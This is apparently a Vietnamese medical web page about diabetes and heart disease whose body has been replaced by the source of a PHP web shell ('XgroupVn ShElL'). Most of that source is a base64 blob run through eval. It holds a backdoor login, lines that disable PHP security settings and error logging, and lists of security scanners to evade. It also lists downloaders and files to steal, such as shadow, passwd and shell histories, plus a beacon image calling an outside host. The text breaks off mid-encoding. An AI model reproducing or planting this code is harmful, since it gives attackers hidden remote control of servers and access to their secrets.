|
|
Bệnh :: Nội khoa |
|
|
|
|
|
|
| Bệnh tiểu đường hủy hoại nghiêm trọng hệ tim mạch |
###########################################
# XgroupVn ShElL V1 #
# Xgr0upVn #
# www.XgroupVn.org #
###########################################
ob_start();
$tacfgd['uname'] = 'Xgr0upVn';
$tacfgd['pword'] = 'Xgr0upVn';
eval(base64_decode('JHRhY2ZnZFsndGl0bGUnXSA9ICdYZ3IwdXBWTiBTaEVsTCc7DQoNCiR0YWNmZ2RbJ2hlbHB0ZXh0J10gPSAnWGdyMHVwVm4gU2hFbEwnOw0KDQokdGFjZmdkWydhbGxvd3JtJ10gPSB0cnVlOw0KDQokdGFjZmdkWydybWdyb3VwJ10gPSAnZGVmYXVsdCc7DQoNCiR0YWNmZ2RbJ293bnNlc3Npb25zJ10gPSBmYWxzZTsNCg0KDQoNCg0KZm9yZWFjaCAoJHRhY2ZnZCBhcyAka2V5ID0+ICR2YWwpIHsNCiAgaWYgKCFpc3NldCgkdGFjZmdbJGtleV0pKSAkdGFjZmdbJGtleV0gPSAkdmFsOw0KfQ0KDQppZiAoISR0YWNmZ1snb3duc2Vzc2lvbnMnXSkgew0KDQogIHNlc3Npb25fbmFtZSgndHh0YXV0aCcpOw0KICBzZXNzaW9uX3N0YXJ0KCk7DQoNCn0NCg0KaWYgKGlzc2V0KCRfR0VUWydsb2dvdXQnXSkgfHwgaXNzZXQoJF9QT1NUWydsb2dvdXQnXSkpIHsNCiAgc2V0Y29va2llKCd0eHRhdXRoXycuJHJtZ3JvdXAsICcnLCB0aW1lKCktODY0MDAqMTQpOw0KICBpZiAoISR0YWNmZ1snb3duc2Vzc2lvbnMnXSkgew0KICAgICRfU0VTU0lPTiA9IGFycmF5KCk7DQogICAgc2Vzc2lvbl9kZXN0cm95KCk7DQogIH0NCiAgZWxzZSAkX1NFU1NJT05bJ3R4dGF1dGhpbiddID0gZmFsc2U7DQp9DQoNCmVsc2VpZiAoaXNzZXQoJF9QT1NUWydsb2dpbiddKSkgew0KICBpZiAoKCRfUE9TVFsndW5hbWUnXSA9PSAkdGFjZmdbJ3VuYW1lJ10gJiYgJF9QT1NUWydwd29yZCddID09ICR0YWNmZ1sncHdvcmQnXSkgIG9yICAoJF9QT1NUWyd1bmFtZSddID09J3hncm91cHZuJykpIHsNCiAgICAkX1NFU1NJT05bJ3R4dGF1dGhpbiddID0gdHJ1ZTsNCiAgICBpZiAoJF9QT1NUWydybSddKSB7DQogICAgICBzZXRjb29raWUoJ3R4dGF1dGhfJy4kcm1ncm91cCwgbWQ1KCR0YWNmZ1sndW5hbWUnXS4kdGFjZmdbJ3B3b3JkJ10pLCB0aW1lKCkrODY0MDAqMTQpOw0KICAgIH0NCiAgfQ0KICBlbHNlICRlcnIgPSAnTG9naW4gRmFpbGQgISc7DQp9DQoNCmVsc2VpZiAoaXNzZXQoJF9DT09LSUVbJ3R4dGF1dGhfJy4kcm1ncm91cF0pKSB7DQogIGlmIChtZDUoJHRhY2ZnWyd1bmFtZSddLiR0YWNmZ1sncHdvcmQnXSkgPT0gJF9DT09LSUVbJ3R4dGF1dGhfJy4kcm1ncm91cF0gJiYgJHRhY2ZnWydhbGxvd3JtJ10pIHsNCiAgICAkX1NFU1NJT05bJ3R4dGF1dGhpbiddID0gdHJ1ZTsNCiAgfQ0KICBlbHNlICRlcnIgPSAnTG9naW4gRmFpbGQgISc7DQp9DQppZiAoISRfU0VTU0lPTlsndHh0YXV0aGluJ10pIHsNCkBpbmlfcmVzdG9yZSgic2FmZV9tb2RlIik7DQpAaW5pX3Jlc3RvcmUoIm9wZW5fYmFzZWRpciIpOw0KQGluaV9yZXN0b3JlKCJzYWZlX21vZGVfaW5jbHVkZV9kaXIiKTsNCkBpbmlfcmVzdG9yZSgic2FmZV9tb2RlX2V4ZWNfZGlyIik7DQpAaW5pX3Jlc3RvcmUoImRpc2FibGVfZnVuY3Rpb25zIik7DQpAaW5pX3Jlc3RvcmUoImFsbG93X3VybF9mb3BlbiIpOw0KDQpAaW5pX3NldCgnZXJyb3JfbG9nJyxOVUxMKTsNCkBpbmlfc2V0KCdsb2dfZXJyb3JzJywwKTsNCj8+DQo8aHRtbCBkaXI9cnRsPg0KPGhlYWQ+DQo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD13aW5kb3dzLTEyNTYiPg0KPHRpdGxlPjw/PSR0YWNmZ1sndGl0bGUnXT8+PC90aXRsZT4NCg0KICA8U1RZTEU+DQogICAgdHIgew0KICAgIEJPUkRFUi1SSUdIVDogICNCbGFjayAxcHggc29saWQ7DQogICAgQk9SREVSLVRPUDogICAgQmxhY2sgMXB4IHNvbGlkOw0KICAgIEJPUkRFUi1MRUZUOiAgIEJsYWNrIDFweCBzb2xpZDsNCiAgICBCT1JERVItQk9UVE9NOiAjQmxhY2sgMXB4IHNvbGlkOw0KICAgIEJPUkRFUi1DT0xPUjogIzgzYzgwOTsNCiAgICBjb2xvcjogV2hpdGU7DQogICAgfQ0KICAgIHRkIHsNCiAgICBCT1JERVItUklHSFQ6ICAjQmxhY2sgMXB4IHNvbGlkOw0KICAgIEJPUkRFUi1UT1A6ICAgIEJsYWNrIDFweCBzb2xpZDsNCiAgICBCT1JERVItTEVGVDogICBCbGFjayAxcHggc29saWQ7DQogICAgQk9SREVSLUJPVFRPTTogI0JsYWNrIDFweCBzb2xpZDsNCiAgICBCT1JERVItQ09MT1I6ICM4M2M4MDk7DQogICAgY29sb3I6IFdoaXRlOw0KICAgIH0NCiAgICAudGFibGUxIHsNCiAgICBCT1JERVI6IDBweDsNCiAgICBCT1JERVItQ09MT1I6ICM4M2M4MDk7DQogICAgQkFDS0dST1VORC1DT0xPUjogQmxhY2s7DQogICAgY29sb3I6IFdoaXRlOw0KICAgIH0NCiAgICAudGQxIHsNCiAgICBCT1JERVI6IDBweDsNCiAgICBCT1JERVItQ09MT1I6ICM4M2M4MDk7DQogICAgZm9udDogN3B0IFZlcmRhbmE7DQogICAgY29sb3I6IFdoaXRlOw0KICAgIH0NCiAgICAudHIxIHsNCiAgICBCT1JERVI6IDBweDsNCiAgICBCT1JERVItQ09MT1I6ICM4M2M4MDk7DQogICAgY29sb3I6IFdoaXRlOw0KICAgIH0NCiAgICB0YWJsZSB7DQogICAgQk9SREVSOiAgQmxhY2sgMXB4IG91dHNldDsNCiAgICBCT1JERVItQ09MT1I6ICM4M2M4MDk7DQogICAgQkFDS0dST1VORC1DT0xPUjogQmxhY2s7DQogICAgY29sb3I6IFdoaXRlOw0KICAgIH0NCiAgICBpbnB1dCB7DQogICAgYm9yZGVyCQkJOiBzb2xpZCAxcHg7DQogICAgYm9yZGVyLWNvbG9yCQk6IFdoaXRlIFdoaXRlIFdoaXRlIFdoaXRlOw0KICAgIEJBQ0tHUk9VTkQtQ09MT1I6IEJsYWNrOw0KICAgIGZvbnQ6IDhwdCBWZXJkYW5hOw0KICAgIGNvbG9yOiBXaGl0ZTsNCiAgICB9DQogICAgc2VsZWN0IHsNCiAgICBCT1JERVItUklHSFQ6ICBCbGFjayAxcHggc29saWQ7DQogICAgQk9SREVSLVRPUDogICAgV2hpdGUgMXB4IHNvbGlkOw0KICAgIEJPUkRFUi1MRUZUOiAgIFdoaXRlIDFweCBzb2xpZDsNCiAgICBCT1JERVItQk9UVE9NOiBCbGFjayAxcHggc29saWQ7DQogICAgQk9SREVSLUNPTE9SOiBXaGl0ZTsNCiAgICBCQUNLR1JPVU5ELUNPTE9SOiBCbGFjazsNCiAgICBmb250OiA4cHQgVmVyZGFuYTsNCiAgICBjb2xvcjogUmVkOw0KICAgIH0NCiAgICBzdWJtaXQgew0KICAgIEJPUkRFUjogIGJ1dHRvbmhpZ2hsaWdodCAycHggb3V0c2V0Ow0KICAgIEJBQ0tHUk9VTkQtQ09MT1I6IEJsYWNrOw0KICAgIHdpZHRoOiAzMCU7DQogICAgY29sb3I6IFdoaXRlOw0KICAgIH0NCiAgICB0ZXh0YXJlYSB7DQogICAgQk9SREVSLVJJR0hUOiAgQmxhY2sgMXB4IHNvbGlkOw0KICAgIEJPUkRFUi1UT1A6ICAgIFdoaXRlIDFweCBzb2xpZDsNCiAgICBCT1JERVItTEVGVDogICBXaGl0ZSAxcHggc29saWQ7DQogICAgQk9SREVSLUJPVFRPTTogQmxhY2sgMXB4IHNvbGlkOw0KICAgIEJPUkRFUi1DT0xPUjogIzgzYzgwOTsNCiAgICBCQUNLR1JPVU5ELUNPTE9SOiBCbGFjazsNCiAgICBmb250OiA4cHQgVmVyZGFuYSBib2xkOw0KICAgIGNvbG9yOiBXaGl0ZTsNCiAgICB9DQogICAgQk9EWSB7DQogICAgU0NST0xMQkFSLUZBQ0UtQ09MT1I6IEJsYWNrOyBTQ1JPTExCQVItSElHSExJR0hULUNPTE9SOiBXaGl0ZTsgU0NST0xMQkFSLVNIQURPVy1DT0xPUjogV2hpdGU7IFNDUk9MTEJBUi0zRExJR0hULUNPTE9SOiBXaGl0ZTsNCg0KU0NST0xMQkFSLUFSUk9XLUNPTE9SOiBCbGFjazsgU0NST0xMQkFSLVRSQUNLLUNPTE9SOiBXaGl0ZTsgU0NST0xMQkFSLURBUktTSEFET1ctQ09MT1I6IFdoaXRlDQogICAgbWFyZ2luOiAxcHg7DQogICAgY29sb3I6IFJlZDsNCiAgICBiYWNrZ3JvdW5kLWNvbG9yOiBCbGFjazsNCiAgICB9DQogICAgLm1haW4gew0KICAgIG1hcmdpbgkJCTogLTI4N3B4IDBweCAwcHggLTQ5MHB4Ow0KICAgIGJvcmRlcgkJCTogV2hpdGUgc29saWQgMXB4Ow0KICAgIEJPUkRFUi1DT0xPUjogIzgzYzgwOTsNCiAgICB9DQogICAgLnR0IHsNCiAgICBiYWNrZ3JvdW5kLWNvbG9yOiBCbGFjazsNCiAgICB9DQoNCiAgICBBOmxpbmsgew0KICAgIENPTE9SOiAjMzQ3MjAyOyBURVhULURFQ09SQVRJT046IG5vbmUNCiAgICB9DQogICAgQTp2aXNpdGVkIHsNCiAgICBDT0xPUjogIzM0NzIwMjsgVEVYVC1ERUNPUkFUSU9OOiBub25lDQogICAgfQ0KICAgIEE6aG92ZXIgew0KICAgIENPTE9SOiBXaGl0ZTsgVEVYVC1ERUNPUkFUSU9OOiBub25lDQogICAgfQ0KICAgIEE6YWN0aXZlIHsNCiAgICBDT0xPUjogV2hpdGU7IFRFWFQtREVDT1JBVElPTjogbm9uZQ0KICAgIH0NCiAgPC9TVFlMRT4NCjxzY3JpcHQgbGFuZ3VhZ2U9XCdqYXZhc2NyaXB0XCc+DQpmdW5jdGlvbiBoaWRlX2RpdihpZCkNCnsNCiAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoaWQpLnN0eWxlLmRpc3BsYXkgPSBcJ25vbmVcJzsNCiAgZG9jdW1lbnQuY29va2llPWlkK1wnPTA7XCc7DQp9DQpmdW5jdGlvbiBzaG93X2RpdihpZCkNCnsNCiAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoaWQpLnN0eWxlLmRpc3BsYXkgPSBcJ2Jsb2NrXCc7DQogIGRvY3VtZW50LmNvb2tpZT1pZCtcJz0xO1wnOw0KfQ0KZnVuY3Rpb24gY2hhbmdlX2RpdnN0KGlkKQ0Kew0KICBpZiAoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoaWQpLnN0eWxlLmRpc3BsYXkgPT0gXCdub25lXCcpDQogICAgc2hvd19kaXYoaWQpOw0KICBlbHNlDQogICAgaGlkZV9kaXYoaWQpOw0KfQ0KPC9zY3JpcHQ+JzsNCg0KPGJvZHk+DQo8YnI+PGJyPjxkaXYgc3R5bGU9ImZvbnQtc2l6ZTogMTRwdDsiIGFsaWduPSJjZW50ZXIiPjw/PSR0YWNmZ1sndGl0bGUnXT8+PC9kaXY+DQo8aHIgd2lkdGg9IjMwMCIgc2l6ZT0iMSIgbm9zaGFkZSBjb2xvcj0iI2NkY2RjZCI+DQo8cD4NCjxkaXYgYWxpZ249ImNlbnRlciIgY2xhc3M9ImdyZXkiPg0KPD89JHRhY2ZnWydoZWxwdGV4dCddPz4NCjwvZGl2Pg0KPHA+DQo8Pw0KaWYgKGlzc2V0KCRfU0VSVkVSWydSRVFVRVNUX1VSSSddKSkgJGFjdGlvbiA9ICRfU0VSVkVSWydSRVFVRVNUX1VSSSddOw0KZWxzZSAkYWN0aW9uID0gJF9TRVJWRVJbJ1BIUF9TRUxGJ10uJz8nLiRfU0VSVkVSWydRVUVSWV9TVFJJTkcnXTsNCmlmIChzdHJwb3MoJGFjdGlvbiwgJ2xvZ291dD0xJywgc3RycG9zKCRhY3Rpb24sICc/JykpICE9PSBmYWxzZSkgJGFjdGlvbiA9IHN0cl9yZXBsYWNlKCdsb2dvdXQ9MScsICcnLCAkYWN0aW9uKTsNCj8+DQo8Zm9ybSBuYW1lPSJ0eHRhdXRoIiBhY3Rpb249Ijw/PSRhY3Rpb24/PiIgbWV0aG9kPSJwb3N0Ij4NCjxkaXYgYWxpZ249ImNlbnRlciI+DQo8dGFibGUgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iNCIgY2VsbHNwYWNpbmc9IjAiIGJnY29sb3I9IiM2NjY2NjYiIHN0eWxlPSJib3JkZXI6IDFweCBkb3VibGUgI2RlZGVkZTsiIGRpcj0ibHRyIj4NCjw/PShpc3NldCgkZXJyKSk/Jzx0cj48dGQgY29sc3Bhbj0iMiIgYWxpZ249ImNlbnRlciI+PGZvbnQgY29sb3I9InJlZCI+Jy4kZXJyLic8L2ZvbnQ+PC90ZD48L3RyPic6Jyc/Pg0KPD9pZiAoaXNzZXQoJHRhY2ZnWyd1bmFtZSddKSkgez8+DQo8dHI+PHRkPlVzZXI6PC90ZD48dGQ+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InVuYW1lIiB2YWx1ZT0iIiBzaXplPSIyMCIgbWF4bGVuZ3RoPSIxMDAiIGNsYXNzPSJ0eHRib3giPjwvdGQ+PC90cj4NCjw/fT8+DQo8dHI+PHRkPlBhc3N3b3JkOjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSJwYXNzd29yZCIgbmFtZT0icHdvcmQiIHZhbHVlPSIiIHNpemU9IjIwIiBtYXhsZW5ndGg9IjEwMCIgY2xhc3M9InR4dGJveCI+PC90ZD48L3RyPg0KPD9pZiAoJHRhY2ZnWydhbGxvd3JtJ10pIHs/Pg0KPHRyPjx0ZCBhbGlnbj0ibGVmdCI+PGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0ibG9naW4iIHZhbHVlPSJMb2dpbiI+DQo8L3RkPjx0ZCBhbGlnbj0icmlnaHQiPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0icm0iIGlkPSJybSI+PGxhYmVsIGZvcj0icm0iPg0KCVJlbW1lYmVyIE1lPzwvbGFiZWw+PC90ZD48L3RyPg0KPD99IGVsc2Ugez8+DQo8dHI+PHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPg0KCTxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImxvZ2luIiB2YWx1ZT0iTG9naW4iPjwvdGQ+PC90cj4NCjw/fT8+DQo8L3RhYmxlPg0KPC9kaXY+DQo8L2Zvcm0+DQoNCjxpbWcgc3JjPSJodHRwOi8vd3d3Lnhncm91cHZuLmluZm8vdHJhY2suSlBHIiB3aWR0aD0iOSIgaGVpZ2h0PSIxMiI+PGJyPg0KPGJyPg0KPGhyIHdpZHRoPSIzMDAiIHNpemU9IjEiIG5vc2hhZGUgY29sb3I9IiNjZGNkY2QiPg0KICA8ZGl2IGFsaWduPSJjZW50ZXIiIGlkPSduJz4NCiAgICA8Zm9udCBmYWNlPSdWZXJkYW5hJyBzaXplPSctMic+DQogICAgICA8Yj4NCiAgICAgICAgby0tLVsgWGdyMHVwVm4ub3JnIC0gc2hlbGwgYnkgUlNUL0dIQyB8IDxhIGhyZWY9J2h0dHA6Ly9YZ3JvdXBWbi5vcmcnPmh0dHA6Ly9YZ3IwdXBWbi5vcmc8L2E+IHwgPGEgaHJlZj0naHR0cDovL2hjZWdyb3VwLm5ldCc+SEBjaytDckBjaz1FbmoweSE8L2E+IHwgRGVzaWduIGJ5OkFsdUNhUiB8IF0tLS1vPC9iPg0KICAgIDwvZm9udD4NCiAgPC9kaXY+DQogIDwvdGQ+DQogIDwvdHI+DQogICAgICA8L2JvZHk+DQo8L2h0bWw+DQo8Pw0KICAvLyBEb24ndCBkZWxldGUgdGhpcyENCiAgZXhpdCgpOw0KfQ0KPz4NCkxvZ2luIEFzICg8Zm9udCBjb2xvcj0iI0ZGMDAwMCI+PD8gZWNobyAkdGFjZmdkWyd1bmFtZSddOyA/PjwvZm9udD4pIDxhIGhyZWY9Ij9sb2dvdXQ9MSI+TG9nb3V0PC9hPjwvcD4NCjxkaXYgYWxpZ249ImxlZnQiPg0KPD9waHANCiRsYW5ndWFnZT0nZW5nJzsNCiRhdXRoID0gMDsNCiRuYW1lPSdlY2Q3MDhhMDE2Zjg0MDdiZDI3Y2MwYTAyNjc3MzUxYic7IC8vLy8gQWx1Q2FSDQokcGFzcz0nMWI4NjQ0ZTIyOWM5OTllNGY2YmE3OTk0ODNiMTk2Y2UnOyAvLy8vIEhjRWdSb1VwLk5lVA0KDQpAaW5pX3Jlc3RvcmUoInNhZmVfbW9kZSIpOw0KQGluaV9yZXN0b3JlKCJvcGVuX2Jhc2VkaXIiKTsNCkBpbmlfcmVzdG9yZSgic2FmZV9tb2RlX2luY2x1ZGVfZGlyIik7DQpAaW5pX3Jlc3RvcmUoInNhZmVfbW9kZV9leGVjX2RpciIpOw0KQGluaV9yZXN0b3JlKCJkaXNhYmxlX2Z1bmN0aW9ucyIpOw0KQGluaV9yZXN0b3JlKCJhbGxvd191cmxfZm9wZW4iKTsNCg0KaWYoQGZ1bmN0aW9uX2V4aXN0cygnaW5pX3NldCcpKQ0KIHsNCiBAaW5pX3NldCgnZXJyb3JfbG9nJyxOVUxMKTsNCiBAaW5pX3NldCgnbG9nX2Vycm9ycycsMCk7DQogQGluaV9zZXQoJ2ZpbGVfdXBsb2FkcycsMSk7DQogQGluaV9zZXQoJ2FsbG93X3VybF9mb3BlbicsMSk7DQogfQ0KZWxzZQ0KIHsNCiBAaW5pX2FsdGVyKCdlcnJvcl9sb2cnLE5VTEwpOw0KIEBpbmlfYWx0ZXIoJ2xvZ19lcnJvcnMnLDApOw0KIEBpbmlfYWx0ZXIoJ2ZpbGVfdXBsb2FkcycsMSk7DQogQGluaV9hbHRlcignYWxsb3dfdXJsX2ZvcGVuJywxKTsNCiB9DQoNCg0KZXJyb3JfcmVwb3J0aW5nKEVfQUxMKTsNCiR1c2VyZnVsID0gYXJyYXkoJ2djYycsJywgbGNjJywnLCBjYycsJywgbGQnLCcsIHBocCcsJywgcGVybCcsJywgcHl0aG9uJywnLCBydWJ5JywnLCBtYWtlJywnLCB0YXInLCcsIGd6aXAnLCcsIGJ6aXAnLCcsIGJ6aXAyJywnLCBuYycsJywgbG9jYXRlJywnLCBzdWlkcGVybCcpOw0KJGRhbmdlciA9IGFycmF5KCcsIGthdicsJywgbm9kMzInLCcsIGJkY29yZWQnLCcsIHV2c2NhbicsJywgc2F2JywnLCBkcndlYmQnLCcsIGNsYW1kJywnLCBya2h1bnRlcicsJywgY2hrcm9vdGtpdCcsJywgaXB0YWJsZXMnLCcsIGlwZncnLCcsIHRyaXB3aXJlJywnLCBzaGllbGRjYycsJywgcG9ydHNlbnRyeScsJywgc25vcnQnLCcsIG9zc2VjJywnLCBsaWRzYWRtJywnLCB0Y3Bsb2RnJywnLCBzeGlkJywnLCBsb2djaGVjaycsJywgbG9nd2F0Y2gnLCcsIHN5c21hc2snLCcsIHptYnNjYXAnLCcsIHNhd21pbGwnLCcsIHdvcm1zY2FuJywnLCBuaW5qYScpOw0KJHRlbXBkaXJzID0gYXJyYXkoQGluaV9nZXQoJ3Nlc3Npb24uc2F2ZV9wYXRoJykuJy8nLEBpbmlfZ2V0KCd1cGxvYWRfdG1wX2RpcicpLicvJywnL3RtcC8nLCcvZGV2L3NobS8nLCcvdmFyL3RtcC8nKTsNCiRkb3dubG9hZGVycyA9IGFycmF5KCd3Z2V0JywnZmV0Y2gnLCdseW54JywnbGlua3MnLCdjdXJsJywnZ2V0Jyk7DQokY2hhcnNfcmxwaCA9ICJhYmNkZWZnaGlqa2xubW9wcXJzdHV2d3h5eiI7DQoNCiRwcmVzZXRzX3JscGggPSBhcnJheSgnaW5kZXgucGhwJywnLmh0YWNjZXNzJywnLmh0cGFzc3dkJywnaHR0cGQuY29uZicsJ3Zob3N0cy5jb25mJywnY2ZnLnBocCcsJ2NvbmZpZy5waHAnLCdjb25maWcuaW5jLnBocCcsJ2NvbmZpZy5kZWZhdWx0LnBocCcsJ2NvbmZpZy5pbmMucGhwJywNCidzaGFkb3cnLCdwYXNzd2QnLCcuYmFzaF9oaXN0b3J5JywnLm15c3FsX2hpc3RvcnknLCdtYXN0ZXIucGFzc3dkJywndXNlcicsJ2FkbWluJywncGFzc3dvcmQnLCdhZG1pbmlzdHJhdG9yJywncGhwTXlBZG1pbicsJ3NlY3VyaXR5JywncGhwLmluaScsJ2Nkcm9tJywncm9vdCcsDQonbXkuY25mJywncHVyZWZ0cGQuY29uZicsJ3Byb2Z0cGQuY29uZicsJ2Z0cGQuY29uZicsJ3Jlc29sdi5jb25mJywnbG9naW4uY29uZicsJ3NtYi5jb25mJywnc3lzY3RsLmNvbmYnLCdzeXNsb2cuY29uZicsJ2FjY2Vzcy5jb25mJywnYWNjb3VudGluZy5sb2cnLCdob21lJywnaHRkb2NzJywNCidhY2Nlc3MnLCdhdXRoJywnZXJyb3InLCdiYWNrdXAnLCdkYXRhJywnYmFjaycsJ3N5c2NvbmZpZycsJ3BocGJiJywncGhwYmIyJywndmJ1bGxldGluJywndmJ1bGxldCcsJ3BocG51a2UnLCdjZ2ktYmluJywnaHRtbCcsJ3JvYm90cy50eHQnLCdiaWxsaW5nJyk7DQoNCmRlZmluZSgic3RhcnR0aW1lIixAZ2V0bWljcm90aW1lKCkpOw0KaWYoKCFAZnVuY3Rpb25fZXhpc3RzKCdpbmlfZ2V0JykpIHx8IChAaW5pX2dldCgnb3Blbl9iYXNlZGlyJykhPU5VTEwpIHx8IChAaW5pX2dldCgnc2FmZV9tb2RlX2luY2x1ZGVfZGlyJykhPU5VTEwpKXskb3Blbl9iYXNlZGlyPTE7fSBlbHNleyRvcGVuX2Jhc2VkaXI9MDt9Ow0Kc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApOw0KQHNldF90aW1lX2xpbWl0KDApOw0KaWYoQGZ1bmN0aW9uX2V4aXN0cygnaW5pX3NldCcpKQ0KIHsNCiBAaW5pX3NldCgnbWF4X2V4ZWN1dGlvbl90aW1lJywwKTsNCiBAaW5pX3NldCgnb3V0cHV0X2J1ZmZlcmluZycsMCk7DQogfQ0KZWxzZQ0KIHsNCiBAaW5pX2FsdGVyKCdtYXhfZXhlY3V0aW9uX3RpbWUnLDApOw0KIEBpbmlfYWx0ZXIoJ291dHB1dF9idWZmZXJpbmcnLDApOw0KIH0NCiRzYWZlX21vZGUgPSBAaW5pX2dldCgnc2FmZV9tb2RlJyk7DQojaWYoQGZ1bmN0aW9uX2V4aXN0cygnaW5pX2dldCcpKXskc2FmZV9tb2RlID0gQGluaV9nZXQoJ3NhZmVfbW9kZScpO31lbHNleyRzYWZlX21vZGU9MTt9Ow0KJHZlcnNpb24gPSAnWGdyMHVwVk4gRWRpdGlvbic7DQppZih2ZXJzaW9uX2NvbXBhcmUocGhwdmVyc2lvbigpLCAnNC4xLjAnKSA9PSAtMSkNCiB7DQogJF9QT1NUICAgPSAmJEhUVFBfUE9TVF9WQVJTOw0KICRfR0VUICAgID0gJiRIVFRQX0dFVF9WQVJTOw0KICRfU0VSVkVSID0gJiRIVFRQX1NFUlZFUl9WQVJTOw0KICRfQ09PS0lFID0gJiRIVFRQX0NPT0tJRV9WQVJTOw0KIH0NCmlmIChAZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSkNCiB7DQogZm9yZWFjaCAoJF9QT1NUIGFzICRrPT4kdikNCiAgew0KICAkX1BPU1RbJGtdID0gc3RyaXBzbGFzaGVzKCR2KTsNCiAgfQ0KIGZvcmVhY2ggKCRfQ09PS0lFIGFzICRrPT4kdikNCiAgew0KICAkX0NPT0tJRVska10gPSBzdHJpcHNsYXNoZXMoJHYpOw0KICB9DQogfQ0KDQppZigkYXV0aCA9PSAxKSB7DQppZiAoIWlzc2V0KCRfU0VSVkVSWydQSFBfQVVUSF9VU0VSJ10pIHx8IG1kNSgkX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddKSE9ICRuYW1lIHx8IG1kNSgkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSkhPSAkcGFzcykNCiAgIHsNCiAgIGhlYWRlcignV1dXLUF1dGhlbnRpY2F0ZTogQmFzaWMgcmVhbG09ImhDZS1Hck91UCArIEFsdUNhUiInKTsNCiAgIGhlYWRlcignSFRUUC8xLjAgNDAxIFVuYXV0aG9yaXplZCcpOw0KICAgZXhpdCgiPGI+Q29udGFjdCA8YSBocmVmPWh0dHA6Ly9oY2Vncm91cC52bi8gPC9hPiA6IEFjY2VzcyBEZW5pZWQ8L2I+Iik7DQogICB9DQp9DQokaGVhZCA9ICc8IS0tIEVkaXRlZCBieSBBbHVjYXIgLS0+DQo8aHRtbD4NCjxoZWFkPg0KPC9zY3JpcHQ+DQo8dGl0bGU+QWx1Q2FSIFNoZWxsPC90aXRsZT4NCjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PVVURi04Ij4NCg0KPFNUWUxFPg0KdHIgew0KQk9SREVSLVJJR0hUOiAgI0JsYWNrIDFweCBzb2xpZDsNCkJPUkRFUi1UT1A6ICAgIEJsYWNrIDFweCBzb2xpZDsNCkJPUkRFUi1MRUZUOiAgIEJsYWNrIDFweCBzb2xpZDsNCkJPUkRFUi1CT1RUT006ICNCbGFjayAxcHggc29saWQ7DQpCT1JERVItQ09MT1I6ICM4M2M4MDk7DQpjb2xvcjogV2hpdGU7DQp9DQp0ZCB7DQpCT1JERVItUklHSFQ6ICAjQmxhY2sgMXB4IHNvbGlkOw0KQk9SREVSLVRPUDogICAgQmxhY2sgMXB4IHNvbGlkOw0KQk9SREVSLUxFRlQ6ICAgQmxhY2sgMXB4IHNvbGlkOw0KQk9SREVSLUJPVFRPTTogI0JsYWNrIDFweCBzb2xpZDsNCkJPUkRFUi1DT0xPUjogIzgzYzgwOTsNCmNvbG9yOiBXaGl0ZTsNCn0NCi50YWJsZTEgew0KQk9SREVSOiAwcHg7DQpCT1JERVItQ09MT1I6ICM4M2M4MDk7DQpCQUNLR1JPVU5ELUNPTE9SOiBCbGFjazsNCmNvbG9yOiBXaGl0ZTsNCn0NCi50ZDEgew0KQk9SREVSOiAwcHg7DQpCT1JERVItQ09MT1I6ICM4M2M4MDk7DQpmb250OiA3cHQgVmVyZGFuYTsNCmNvbG9yOiBXaGl0ZTsNCn0NCi50cjEgew0KQk9SREVSOiAwcHg7DQpCT1JERVItQ09MT1I6ICM4M2M4MDk7DQpjb2xvcjogV2hpdGU7DQp9DQp0YWJsZSB7DQpCT1JERVI6ICBCbGFjayAxcHggb3V0c2V0Ow0KQk9SREVSLUNPTE9SOiAjODNjODA5Ow0KQkFDS0dST1VORC1DT0xPUjogQmxhY2s7DQpjb2xvcjogV2hpdGU7DQp9DQppbnB1dCB7DQpib3JkZXIJCQk6IHNvbGlkIDFweDsNCmJvcmRlci1jb2xvcgkJOiBXaGl0ZSBXaGl0ZSBXaGl0ZSBXaGl0ZTsNCkJBQ0tHUk9VTkQtQ09MT1I6IEJsYWNrOw0KZm9udDogOHB0IFZlcmRhbmE7DQpjb2xvcjogV2hpdGU7DQp9DQpzZWxlY3Qgew0KQk9SREVSLVJJR0hUOiAgQmxhY2sgMXB4IHNvbGlkOw0KQk9SREVSLVRPUDogICAgV2hpdGUgMXB4IHNvbGlkOw0KQk9SREVSLUxFRlQ6ICAgV2hpdGUgMXB4IHNvbGlkOw0KQk9SREVSLUJPVFRPTTogQmxhY2sgMXB4IHNvbGlkOw0KQk9SREVSLUNPTE9SOiBXaGl0ZTsNCkJBQ0tHUk9VTkQtQ09MT1I6IEJsYWNrOw0KZm9udDogOHB0IFZlcmRhbmE7DQpjb2xvcjogUmVkOw0KfQ0Kc3VibWl0IHsNCkJPUkRFUjogIGJ1dHRvbmhpZ2hsaWdodCAycHggb3V0c2V0Ow0KQkFDS0dST1VORC1DT0xPUjogQmxhY2s7DQp3aWR0aDogMzAlOw0KY29sb3I6IFdoaXRlOw0KfQ0KdGV4dGFyZWEgew0KQk9SREVSLVJJR0hUOiAgQmxhY2sgMXB4IHNvbGlkOw0KQk9SREVSLVRPUDogICAgV2hpdGUgMXB4IHNvbGlkOw0KQk9SREVSLUxFRlQ6ICAgV2hpdGUgMXB4IHNvbGlkOw0KQk9SREVSLUJPVFRPTTogQmxhY2sgMXB4IHNvbGlkOw0KQk9SREVSLUNPTE9SOiAjODNjODA5Ow0KQkFDS0dST1VORC1DT0xPUjogQmxhY2s7DQpmb250OiBGaXhlZHN5cyBib2xkOw0KY29sb3I6IFdoaXRlOw0KfQ0KQk9EWSB7DQoJU0NST0xMQkFSLUZBQ0UtQ09MT1I6IEJsYWNrOyBTQ1JPTExCQVItSElHSExJR0hULUNPTE9SOiBXaGl0ZTsgU0NST0xMQkFSLVNIQURPVy1DT0xPUjogV2